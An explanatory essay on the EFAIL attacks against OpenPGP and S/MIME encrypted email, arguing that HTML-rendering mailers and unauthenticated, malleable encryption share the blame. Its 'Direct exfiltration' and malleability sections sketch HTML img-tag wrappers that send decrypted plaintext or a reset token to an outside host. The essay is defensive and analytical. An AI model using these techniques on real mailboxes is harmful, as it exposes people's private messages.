There are a few parts to the EFAIL attacks.
Some parts are the fault of the mailer authors for exposing unnecessary attack surface via arbitrary incoming email. Some parts are the fault of the OpenPGP and S/MIME designers for failing to heed modern cryptography engineering principles—in particular, failing to provide NM-CPA public-key encryption.
HTML interpretation.
If you receive a message with <img url="http://efail.de/0a7492fc62d437b8309a4288edcb1ab6">, your mailer might load the URL http://efail.de/0a7492fc62d437b8309a4288edcb1ab6 to display the pretty picture there. This is a standard problem of email trackers. The same can be done with CSS URLs, active JavaScript content, etc.
OpenPGP and S/MIME trackers.
If you receive a message signed by an unrecognized OpenPGP key id, your mailer may automatically download the URL http://pool.sks-keyservers.net/pks/lookup?search=0x0a1b2c3d&op=get. Similarly, an S/MIME signature with an included certificate may specify an OCSP server to query, or a CRL list URL to download, or an intermediate CA URL to download. An adversary may be able to control these as another kind of email tracker.
Direct exfiltration.
In a multipart/mixed MIME container, concatenate a text/html part, an application/pgp or application/pkcs7-mime part containing ciphertext, and a text/html part:
- text/html
<img url="http://efail.de/
- ciphertext
- text/html
">
The mailer helpfully decrypts the ciphertext and strings together <img url="http://efail.de/, the plaintext, and ">. Then the HTML engine fetches http://efail.de/(plaintext) as a URL to draw the pretty picture, because everyone knows email need pretty pictures or else it won't catch on. The image may not load, but it's too late: the plaintext is out the barn door.
Malleability of unauthenticated ciphertexts.
Even if you can't persuade the mailer to concatenate parts, you may be able to rearrange and edit parts of an unauthenticated message of which you know some parts but not others, and exploit the HTML interpretation channel to exfiltrate it.
For example, in an HTML password reset message, there may be a new password or a link to a new password at a known location:
<img url="http://assets.example.com/logo.png">
<p>Dear luser,
<p>We are incompetent corporate overlords.
We lost your password. Sorry.
You have to reset it by clicking on this link:
https://bureaucracy.example.com/cgi-bin/resetPassword.js.php.cgi.gif?token=0a7492fc62d437b8309a4288edcb1ab6
Cutting and pasting parts of the ciphertext we may be able to convert it into something like this:
<img url="http://efail.de/0a7492fc62d437b8309a4288edcb1ab6">
<p>Dear luser,
<p>We are incompetent corporate overlords.
We lost your password. Sorry.
You have to reset it by clicking on this link:
https://bureaucracy.example.com/cgi-bin/resetPassword.js.php.cgi.gif?token=http://assets.example.com/logo.png
The same technique can be used for other OpenPGP and S/MIME trackers outside HTML too.
(I am omitting the gruesome details of exactly how this process works, so that you are not tempted to fixate on it and try to thwart this by rearranging your emails; you should instead thwart this by using authenticated encryption and generally doing modern cryptography engineering in the first place. For the real details of the quite clever CBC and CFB gadgets through compression with studies of applicability to real-world data sets, read the paper.)
This leaves several questions.
Am I wrecked?
You're probably not wrecked just because of this. This attack tends to leave evidence lying around, so it's expensive to deploy. But that doesn't mean the danger doesn't exist, and you won't see the evidence until it's too late, and it doesn't mean you're not wrecked by something else.
Am I worse off than I would have been without OpenPGP or S/MIME? Should I follow the EFF's hyperventilated advice and delete all my OpenPGP-related software?
You're probably not worse off than if you hadn't used OpenPGP or S/MIME, except insofar as the difficulty of using OpenPGP has taken hours out of your life and prevented connections you would have made otherwise, and you're probably only using S/MIME if at all in a corporate bureaucracy, not with your human relationships or across organizational boundaries.
After all, this works when an attacker, who already eavesdropped on a message, cuts and pastes that message into a new one and resends it to the recipients. If you hadn't encrypted the message, then they would have the plaintext already and wouldn't need to interact with your mailer.
But you should definitely turn off HTML rendering. Don't just disable sending HTML mail, which is irrelevant to this attack; disable rendering HTML mail, which is how the adversary triggers this attack.
As for the channels that work by automatic key download and revocation check: the trouble is that these may be needed to detect certificates that were revoked because the key was compromised. So disabling these channels—if you can—may hurt in other ways.
Should mailers interpret HTML?
I would say no, but it's common practice today. After all, everyone knows email needs pretty pictures or else it won't catch on.
Should mailers interpret unauthenticated HTML?
I would say definitely no, because unauthenticated data is pure evil—don't touch it! But it's still common practice.
So this is squarely the mailer's fault for interpreting unauthenticated HTML, then?
Still no.
It is the mailer's fault for concatenating text/html parts with auto-decrypted ciphertext parts with text/html parts in multipart/mixed messages, as in part (2).
But it is not the mailer's fault that an adversary can selectively modify ciphertexts with predictable changes to the plaintext, which is how part (3) of the attack works.
Had OpenPGP and S/MIME used symmetric-key authenticated encryption, the attack would have been thwarted. In that case, the only forgery an adversary can achieve is wholesale replacement of the message, not selective modification.
As is, OpenPGP and S/MIME use a traditional ‘hybrid’ of public-key key encapsulation mechanism to transmit a key (shoehorned into an archaic public-key encryption scheme like RSAES-PKCS1-v1_5) for symmetric-key unauthenticated encryption. The symmetric cipher is malleable, which is why we may be able to predictably cut and paste chunks of the message without the recipient being any the wiser. More broadly, by using a hybrid with malleable encryption instead of nonmalleable authenticated encrytion, OpenPGP and S/MIME failed to provide the standard goals of IND-CCA2 and NM-CCA2 for public-key encryption.
What about the MDC in OpenPGP?
The MDC is a kludge with no clear security goals that is voluntary on the part of the sender. It can be removed by changing the unauthenticated packet type. It is intentionally not a MAC. It served as a speedbump, not as a defense. Soon, the authors of OpenPGP software will make the MDC mandatory. In rfc4880bis, there will presumably be real authenticated encryption with symmetric keys.
But OpenPGP as a whole was designed without a modern notion of formal security goals with actors in a protocol. Rather, it is a format for nesting encryption, signature, compression, and literal data in arbitrary combinations—which turns out to be a bad idea on its own, and when its creators were confronted with a need for human-relevant security goals in applications they explicitly abdicated responsibility for it and punted it outside the domain of cryptography.
P.S. S/MIME doesn't even have an MDC.
But the mailers ignored status codes from gpg!
If you can find me among the GnuPG documentation guidance on how to use it reliably in a mailer with meaningful security properties, or the option that causes gpg as a subprocess to fail with nonzero exit code if the MDC is missing,* then I will find you a living dodo.
This is part of why the application Signal is an object of widespread interest, while the Signal protocol (which is allegedly also used by WhatsApp and other messengers) is an implementation detail that ordinary users don't need to know about.
In contrast, PGP is the acronym that everyone knows now, but its implementations are personal choices like a sock color and nobody can keep straight the current preferred email integration du jour. (Enigmail? Mailvelope? GPG Tools?)
What if I use gpg manually?
If you use gpg manually, you are dedicated, or a masochist, or both.
Either way, you should be familiar with thegrugq's guide to how to use PGP, and you must read and understand every line of output that gpg prints to the terminal when you run it before you act on the file of output it produces. Don't pipe gpg to other programs because gpg will happily spit out unauthenticated data (which is pure evil—don't touch it!) before it tells you whether or not something even could have been a forgery.
Remember that OpenPGP does not concern itself with anything outside the OpenPGP format. A signed message doesn't cover the From: or To: or Subject: lines of an email it's embedded in. When you verify a detached signature on a source distribution called something like gnupg-1.4.14.tar.gz, the signature doesn't cover the name of the file—only the content. So a signature on the GnuPG 1.4.13 distribution will still work even if the file is named gnupg-1.4.14.tar.gz.
Inline or PGP/MIME?
If OpenPGP's arbitrary nesting of encryption, signature, compression, and literal packets wasn't bad enough, would you like another serving of arbitrary nesting of complex structured language rife with ambiguity on your plate?
